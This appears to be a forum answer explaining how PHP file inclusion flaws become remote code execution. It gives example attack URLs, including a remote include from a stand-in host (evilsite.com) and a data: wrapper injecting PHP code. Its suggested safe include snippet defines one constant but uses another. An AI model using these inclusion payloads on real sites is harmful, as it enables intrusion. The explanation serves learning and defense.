You can't use include()
to leverage LFI into dynamic RCE. You would have to already have a file with code in it (i.e., evil-RCE-code.php
) on the system to call. For example:
If an application passes a parameter sent via a GET request to the PHP
include() function with no input validation, the attacker may try to
execute code other than what the developer had in mind.
The URL below passes a page name to the include()
function.
http://testsite.com/index.php?page=contact.php
The file "evil-RCE-code.php" may contain, for example, the phpinfo()
function which is useful for gaining information about the
configuration of the environment in which the web service runs. An
attacker can ask the application to execute his PHP code using the
following request:
http://testsite.com/?page=http://evilsite.com/evil-RCE-code.php
Source (Disclaimer: I added the "-RCE-" part to make it easier to see where the RCE goes.)
Take a look at this for a different approach:
Good approach is to use file inclusion as follows:
<?php define('MY_FILE_PATH','/var/www/htdocs/');require_once(APP_PATH
.'lib.php');?>
Let’s now take a look at another example, consider the
following page:
http://localhost/index.php?file=page1
page1 is the file that is dynamically included into the webpage, by
looking at the above url, we can assume that the backend would be
using the following code:
And now imagine that attacker changes value of variable “file” to
following:
http://localhost/index.php?file=data:text/plain,<?php phpinfo();?>
LFI can easily be converted to remote code execution (RCE) in one way
more. This new data protocol has appeared in PHP 5.2.0 and in older
versions will not work. Also PHP will argue and would not allow to use
it if allow_url_include=off
which results in a full path disclosure.
There are other possibilities how code can be injected and later
evaluated; via apache log files, using “/proc” and others. Without a
doubt, inappropriate usage of functions like file_get_contents(), readfile()
, input wrappers like php://input
, and others represent a
threat as well.
Full Article
More Background Info and Reading